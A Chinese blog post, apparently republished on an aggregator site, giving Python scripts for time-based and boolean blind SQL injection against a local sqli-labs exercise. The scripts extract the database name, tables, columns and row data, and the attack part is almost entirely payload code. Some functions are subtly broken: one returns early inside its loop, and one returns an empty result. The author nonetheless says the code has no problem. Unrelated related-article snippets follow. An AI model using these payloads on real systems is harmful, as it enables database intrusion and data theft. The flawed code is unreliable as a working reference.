sql:时间盲注和boolen盲注

news2025/2/22 17:30:53

关于时间盲注,boolen盲注的后面几个获取表、列、具体数据的函数补全

时间盲注方法

import time
import requests

# 获取数据库名
def inject_database(url):
    dataname = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(3), 0)-- " % (i, mid)
            res = {"id": payload}
            start = time.time()
            r = requests.get(url, params=res)
            end = time.time()
            if end-start >= 3:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        dataname += chr(mid)
    print(dataname)

# 获取表名
def table_inject(url, dataname):
    table_name = []
    index = 0
    while True:
        table_name = ""
        position = 1
        while True:
            low = 32
            high = 127
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{dataname}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "
                params = {"id": payload}
                start = time.time()
                r = requests.get(url, params=params)
                end = time.time()
                if end - start >= 3:
                    low = mid + 1
                else:
                    high = mid
            if low == 32:
                break
            table_name += chr(low)
            position += 1
        # if not table_name:
        #     break
        # table_name.append(table_name)
        # index +=1
        return table_name

# 获取列名
def colum_inject(url, dataname, table_name):
    colum_name = []
    index = 0
    while True:
        colum_name = ""
        position = 1
        while True:
            low = 32
            high = 127
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{dataname}' and table_name='{table_name}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "

                params = {"id": payload}
                start = time.time()
                r = requests.get(url, params=params)
                end = time.time()
                if end-start >= 3:
                    low = mid + 1
                else:
                    high = mid
            if low == 32:
                break
            colum_name += chr(low)
            position += 1
        return colum_name

# 获取具体数据
def data_inject(url, dataname, table_name, colum_name):
    data = []
    index = 0
    while True:
        row_data = ""
        position = 1
        while True:
            low = 32
            high = 127
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select {colum_name} from {dataname}.{table_name} limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "
                params = {"id": payload}
                start = time.time()
                r = requests.get(url, params=params)
                end = time.time()
                if end - start >= 3:
                    low = mid + 1
                else:
                    high = mid
            if low == 32:
                break
            row_data += chr(low)
            position += 1
        return data


if __name__ == '__main__':
    url = 'http://127.0.0.1:8080/sqlilabs/Less-9/'

    dataname = inject_database(url)
    print(f"database: {dataname}")
    table_names = table_inject(url, dataname)
    print(f"table-name: {table_names}")
    if table_names:
        table_name = table_names[0]
        colum_names = colum_inject(url, dataname, table_name)
        print(f"colum-name: {colum_names}")
        if colum_names:
            colum_name = colum_names[0]
            data = data_inject(url, dataname, table_name, colum_name)
            print(f"时间盲注 - 具体数据: {data}")

布尔盲注方法

import requests

# 通用的布尔盲注函数
def boolen_inject(url, payload, payloadfas, params):
    result = ""
    for pos in range(1, 20):
        for ascii_val in range(32, 127):
            payload_true = payload.format(pos, ascii_val)
            payload_false = payloadfas.format(pos, ascii_val)
            params_true = {params: payload_true}
            params_false = {params: payload_false}
            response_true = requests.get(url, params=params_true)
            response_false = requests.get(url, params=params_false)
            if response_true.text != response_false.text:
                result += chr(ascii_val + 1)
                break
        else:
            break
    return result

# 布尔盲注获取数据库名
def get_database_name(url, params):
    payload = "1' and ascii(substr(database(), {}, 1)) > {} -- "
    payloadfas = "1' and ascii(substr(database(), {}, 1)) <= {} -- "
    return boolen_inject(url, payload, payloadfas, params)

# 布尔盲注获取表名
def table_inject(url, params, database_name):
    table_names = []
    index = 0
    while True:
        payload = (
            f"1' and ascii(substr((select table_name from information_schema.tables "
            f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) > {{}} -- "
        )
        payloadfas = (
            f"1' and ascii(substr((select table_name from information_schema.tables "
            f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- "
        )
        table_name = boolen_inject(url, payload, payloadfas, params)
        if not table_name:
            break
        table_names.append(table_name)
        index += 1
    return table_names

# 布尔盲注获取列名
def column_inject(url, params, database_name, table_name):
    column_names = []
    index = 0
    while True:
        payload = (
            f"1' and ascii(substr((select column_name from information_schema.columns "
            f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) > {{}} -- "
        )
        payloadfas = (
            f"1' and ascii(substr((select column_name from information_schema.columns "
            f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- "
        )
        column_name = boolen_inject(url, payload, payloadfas, params)
        if not column_name:
            break
        column_names.append(column_name)
        index += 1
    return column_names

# 布尔盲注获取具体数据
def data_inject(url, params, database_name, table_name, column_name):
    data = []
    index = 0
    while True:
        payload = (
            f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) > {{}} -- "
        )
        payloadfas = (
            f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) <= {{}} -- "
        )
        row_data = boolen_inject(url, payload, payloadfas, params)
        if not row_data:
            break
        data.append(row_data)
        index += 1
    return data

if __name__ == '__main__':
    url = "http://127.0.0.1:8080/sqlilabs/Less-9/index.php"
    params = "id"
    # 获取数据库名
    database_name = get_database_name(url, params)
    print(f"database_name: {database_name}")
    # 获取表名
    table_names = table_inject(url, params, database_name)
    print(f"table_name: {table_names}")
    if table_names:
        table_name = table_names[0]
        # 获取列名
        column_names = column_inject(url, params, database_name, table_name)
        print(f"column_name: {column_names}")
        if column_names:
            column_name = column_names[0]
            # 获取具体数据
            data = data_inject(url, params, database_name, table_name, column_name)
            print(f"data: {data}")

实验结论

但是两种方式都显示不了数据库名称,检查后发现是基础配置问题导致代码连接不上,正常在网址上进入是可以的。

代码本身没有问题。

现在我还没有找到问题所在,后面会抽时间改进。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2298211.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【STM32】ADC|多通道ADC采集

本次实现的是ADC实现数字信号与模拟信号的转化&#xff0c;数字信号时不连续的&#xff0c;模拟信号是连续的。 1.ADC转化的原理 模拟-数字转换技术使用的是逐次逼近法&#xff0c;使用二分比较的方法来确定电压值 当单片机对应的参考电压为3.3v时&#xff0c;0~ 3.3v(模拟信…

arcgis for js实现层叠立体效果

在 Web 开发中&#xff0c;利用 ArcGIS for JS 实现一些炫酷的地图效果能够极大地提升用户体验。本文将详细介绍如何使用 ArcGIS for JS 实现层叠立体效果&#xff0c;并展示最终的效果图。 效果图 实现思路 要实现层叠立体效果&#xff0c;关键在于获取边界图形的坐标&#xf…

多模态本地部署和ollama部署Llama-Vision实现视觉问答

文章目录 一、模型介绍二、预期用途1. 视觉问答(VQA)与视觉推理2. 文档视觉问答(DocVQA)3. 图像字幕4. 图像-文本检索5. 视觉接地 三、本地部署1. 下载模型2. 模型大小3. 运行代码 四、ollama部署1. 安装ollama2. 安装 Llama 3.2 Vision 模型3. 运行 Llama 3.2-Vision 五、效果…

【DeepSeek】deepseek可视化部署

目录 1 -> 前文 2 -> 部署可视化界面 1 -> 前文 【DeepSeek】DeepSeek概述 | 本地部署deepseek 通过前文可以将deepseek部署到本地使用&#xff0c;可是每次都需要winR输入cmd调出命令行进入到命令模式&#xff0c;输入命令ollama run deepseek-r1:latest。体验很…

【Git版本控制器】:第一弹——Git初识,Git安装,创建本地仓库,初始化本地仓库,配置config用户名,邮箱信息

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;Linux网络编程 &#x1f337;追光的人&#xff0c;终会万丈光芒 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 ​ 相关笔记&#xff1a; https://blog.csdn.net/dj…

Fabric.js、leaferjs、pixi.js 库的对比分析

文章目录 一、引言二、参与对比的 canvas 库简介三、性能对比四、易用性对比五、功能特性对比六、综合评价与使用建议七、总结 在前端开发中&#xff0c;canvas 库为实现丰富的图形效果和交互功能提供了强大的支持。本文将对 Fabric.js、leaferjs 和 pixi.js 这三个常见的 canv…

JVM——堆的回收:引用计数发和可达性分析法、五种对象引用

目录 引用计数法和可达性分析法 引用计数法&#xff1a; 可达性分析算法&#xff1a; 五种对象引用 软引用&#xff1a; 弱引用&#xff1a; 引用计数法和可达性分析法 引用计数法&#xff1a; 引用计数法会为每个对象维护一个引用计数器&#xff0c;当对象被引用时加1&…

2.11 sqlite3数据库【数据库的相关操作指令、函数】

练习&#xff1a; 将 epoll 服务器 客户端拿来用 客户端&#xff1a;写一个界面&#xff0c;里面有注册登录 服务器&#xff1a;处理注册和登录逻辑&#xff0c;注册的话将注册的账号密码写入数据库&#xff0c;登录的话查询数据库中是否存在账号&#xff0c;并验证密码是否正确…

相得益彰,Mendix AI connector 秒连DeepSeek ,实现研发制造域场景

在当今快速发展的科技领域&#xff0c;低代码一体化平台已成为企业数字化转型的关键工具&#xff0c;同时&#xff0c;大型语言模型&#xff08;LLM&#xff09;如 DeepSeek 在自动生成代码和提供智能建议方面表现出色。 Mendix 于近期发布的 GenAI 万能连接器&#xff0c;目前…

同为科技智能PDU助力Deepseek人工智能和数据交互的快速发展

1 2025开年&#xff0c;人工智能领域迎来了一场前所未有的变革。Deepseek成为代表“东方力量”的开年王炸&#xff0c;不仅在国内掀起了技术热潮&#xff0c;并且在全球范围内引起了高度关注。Deepseek以颠覆性技术突破和现象级应用场景席卷全球&#xff0c;这不仅重塑了产业格…

.NET Web-静态文件访问目录浏览

一、Web根目录访问 创建wwwroot文件夹app.UseStaticFiles(); // 启⽤静态⽂件中间件url/路径 进行访问 二、Web根目录之外的文件 app.UseStaticFiles(new StaticFileOptions {FileProvider new PhysicalFileProvider(Path.Combine(builder.Environment.ContentRootPath,&qu…

【CubeMX+STM32】SD卡 U盘文件系统 USB+FATFS

本篇&#xff0c;将使用CubeMXKeil, 创建一个 USBTF卡存储FatFS 的虚拟U盘读写工程。 目录 一、简述 二、CubeMX 配置 SDIO DMA FatFs USB 三、Keil 编辑代码 四、实验效果 串口助手&#xff0c;实现效果&#xff1a; U盘&#xff0c;识别效果&#xff1a; 一、简述 上…

node.js+兰空图床实现随机图

之前博客一直用的公共的随机图API&#xff0c;虽然图片的质量都挺不错的&#xff0c;但是稳定性都比较一般&#xff0c;遂打算使用之前部署的兰空图床&#xff0c;自己弄一个随机图 本文章服务器操作基于雨云——新一代云服务提供商的云服务器进行操作&#xff0c;有兴趣的话可…

DeepSeek AI 满血版功能集成到WPS或Microsoft Office中

DeepSeek AI集成到 WPS或Microsoft Office中, 由于deepseek被攻击或者非常繁忙导致超时的服务器&#xff0c;所以可以用硅基流动部署的DeepSeek 。当然用官网的也可以。 使用 OfficeAI 插件集成(wps为例)&#xff1a; 下载并安装 OfficeAI 插件&#xff1a;从可靠的软件下载平台…

微服务SpringCloud Alibaba组件nacos教程(一)【详解naocs基础使用、服务中心配置、集群配置,附有案例+示例代码】

一.Nacos教程 文章目录 一.Nacos教程1.1 Nacos简介1.2 nacos基本使用直接下载打包服务源码方式启动 1.3 创建nacos客服端1.4 nacos集群配置1.5 nacos配置中心 1.1 Nacos简介 nacos是spring cloud alibaba生态中非常重要的一个组件&#xff0c;它有两个作用&#xff1a; 1:注册…

Kotlin 扩展函数与内联函数

Kotlin扩展函数 Kotlin 的扩展函数是 Kotlin 中非常强大且实用的功能。它允许你为现有的类添加新的方法&#xff0c;而不需要修改其源代码。这意味着你可以在已有的类上“扩展”新的功能&#xff0c;使用起来就像是原本就存在这些方法一样。 扩展函数的基本语法 fun 类名.方…

企业文件防泄密软件哪个好?

在企业文件防泄密软件领域&#xff0c;天锐绿盾和中科数安都是备受认可的品牌&#xff0c;它们各自具有独特的特点和优势。 以下是对这两款软件的详细比较&#xff1a; 天锐绿盾 功能特点 集成性强&#xff1a;集成了文件加密、数据泄露防护DLP、终端安全管理、行为审计等数据安…

【Qt 常用控件】多元素控件(QListWidget、QTableWidgt、QTreeWidget)

**View和**Widget的区别&#xff1f; **View的实现更底层&#xff0c;**Widget是基于**View封装实现的更易用的类型。 **View使用MVC结构 MVC是软件开发中 经典的 软件结构 组织形式&#xff0c;软件设计模式。 M&#xff08;model&#xff09;模型。管理应用程序的核心数据和…

VS2022中.Net Api + Vue 从创建到发布到IIS

VS2022中.Net Api Vue 从创建到发布到IIS 前言一、先决条件二、创建项目三、运行项目四、增加API五、发布到IIS六、设置Vue的发布 前言 最近从VS2019 升级到了VS2022,终于可以使用官方的.Net Vue 组合了,但是使用过程中还是有很多问题,这里记录一下. 一、先决条件 Visual …

Windows 11 搭建私有知识库(docker、dify、deepseek、ollama)

一、操作系统信息 版本 Windows 11 家庭中文版 版本号 23H2 安装日期 ‎2023/‎8/‎21 操作系统版本 22631.4460二、搭建思路 ollama拉取deepseek、bge-m3模型docker拉取dify的镜像dify链接ollama使用模型&#xff0c;并上传文件搭建知识库&#xff0c;创建应用 三、搭建步骤…